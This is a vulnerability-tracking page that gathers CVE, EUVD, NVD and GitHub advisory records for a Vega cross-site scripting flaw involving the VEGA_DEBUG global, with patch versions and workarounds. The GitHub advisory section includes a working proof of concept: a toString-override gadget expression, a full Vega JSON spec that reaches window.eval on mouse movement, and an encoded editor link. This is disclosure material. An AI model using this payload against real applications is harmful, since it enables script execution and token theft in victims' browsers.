Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use `vega` in an application that attaches `vega` library and a `vega.View` instance similar to the Vega Editor to the global `window` and if they allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to `vega` `6.2.0` / `vega-expression` `6.1.0` / `vega-interpreter` `2.2.1` (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to `vega-expression` `5.2.1` / `1.2.1` (if using AST evaluator mode). Some workarounds are available. Do not attach `vega` View instances to global variables, and do not attach `vega` to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

Source published

13 Nov 2025 19:54:26 UTC

Source modified

14 Nov 2025 16:00:05 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use `vega` in an application that attaches `vega` library and a `vega.View` instance similar to the Vega Editor to the global `window` and if they allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to `vega` `6.2.0` / `vega-expression` `6.1.0` / `vega-interpreter` `2.2.1` (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to `vega-expression` `5.2.1` / `1.2.1` (if using AST evaluator mode). Some workarounds are available. Do not attach `vega` View instances to global variables, and do not attach `vega` to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

Source published

Nov 13, 2025, 7:54:26 PM (timezone not stated)

Source modified

Nov 14, 2025, 4:00:05 PM (timezone not stated)

Observed here

7 Nov 2026 02:45:03 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use `vega` in an application that attaches `vega` library and a `vega.View` instance similar to the Vega Editor to the global `window` and if they allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to `vega` `6.2.0` / `vega-expression` `6.1.0` / `vega-interpreter` `2.2.1` (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to `vega-expression` `5.2.1` / `1.2.1` (if using AST evaluator mode). Some workarounds are available. Do not attach `vega` View instances to global variables, and do not attach `vega` to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

Source published

13 Nov 2025 20:15:51 UTC

Source modified

19 Oct 2026 13:10:00 UTC

Observed here

25 Oct 2026 03:17:27 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

## Impact Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" [expressionInterpreter](https://vega.github.io/vega/usage/interpreter/) is used. 1. Use `vega` in an application that attaches `vega` library and a `vega.View` instance similar to the Vega [Editor](https://github.com/vega/editor) to the global `window` 2. Allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code) ## Patches - If using latest Vega line (6.x) - `vega` `6.2.0` / `vega-expression` `6.1.0` / `vega-interpreter` `2.2.1` (if using AST evaluator mode) - If using Vega in a non-ESM environment - ( `vega-expression` `5.2.1` / `1.2.1` (if using AST evaluator mode) ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading_ - Do not attach `vega` View instances to global variables, as Vega editor used to do [here](https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/components/renderer/renderer.tsx#L239) - Do not attach `vega` to the global window as the editor used to do [here](https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/index.tsx#L14-L16) These practices of attaching the vega library and View instances may be convenient for debugging, but should _not_ be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties. ### POC Summary Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling `this.foo(this.bar)`, DOM XSS can be achieved. In practice, an accessible gadget like this exists in the global VEGA_DEBUG code. ```js ({ toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName: event.view.console.log, _handlers: { undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)' }, _handlerIndex: event.view.eval })+1 ``` ### POC Details ```json { "$schema": "https://vega.github.io/schema/vega/v5.json", "width": 350, "height": 350, "autosize": "none", "description": "Toggle Button", "signals": [ { "name": "toggle", "value": true, "on": [ { "events": {"type": "click", "markname": "circle"}, "update": "toggle ? false : true" } ] }, { "name": "addFilter", "on": [ { "events": {"type": "mousemove", "source": "window"}, "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1" } ] } ] } ``` This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following: ```js on(a, o) { const u = this.eventName(a) , d = this._handlers; if (this._handlerIndex(d[u], a, o) < 0) { .... } .... } ``` 1. Set `u` to the result of calling `this.eventName` with undefined - For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined 3. Sets `d` to `this._handlers` - For our object, we have this defined to be used later 4. Calls `this._handlerIndex` with the result of `u` indexed into the `d` object as the first argument, and undefined as the second two. - For our object, `_handlerIndex` is set to window.eval, and when indexing undefined into the `_handlers`, a string to be evald containing the XSS payload is returned. This results in XSS by using a globally scoped gadget to get full blown eval. ### PoC Link Navigate [to vega editor](https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfEoAGEkOJ8hAABI8hRBZyUHDONgmJotSgSKTBPGYAByZzguOqmAJRJJUAkYiClACfiktJgQpF+GADChcDWWLgClQAHJ4nBnJgkWxXLRxMEANTBAAGwQAGmi0cEJMFSM4zFHAwGKTSGUzWWSqXSKQAlNEASQA8kqAJROyam81u3M2gAe6o+msJxMoVXi4yLfoAjAdjscgA), move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved. ### Future investigation In cases where `VEGA_DEBUG` is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to `eval`, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. `$.globalEval`). As of this writing, no such globally scoped gadgets have been found. ### Impact This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.

Source published

13 Nov 2025 22:32:35 UTC

Source modified

10 Sep 2026 03:50:30 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Publisher rating · HIGH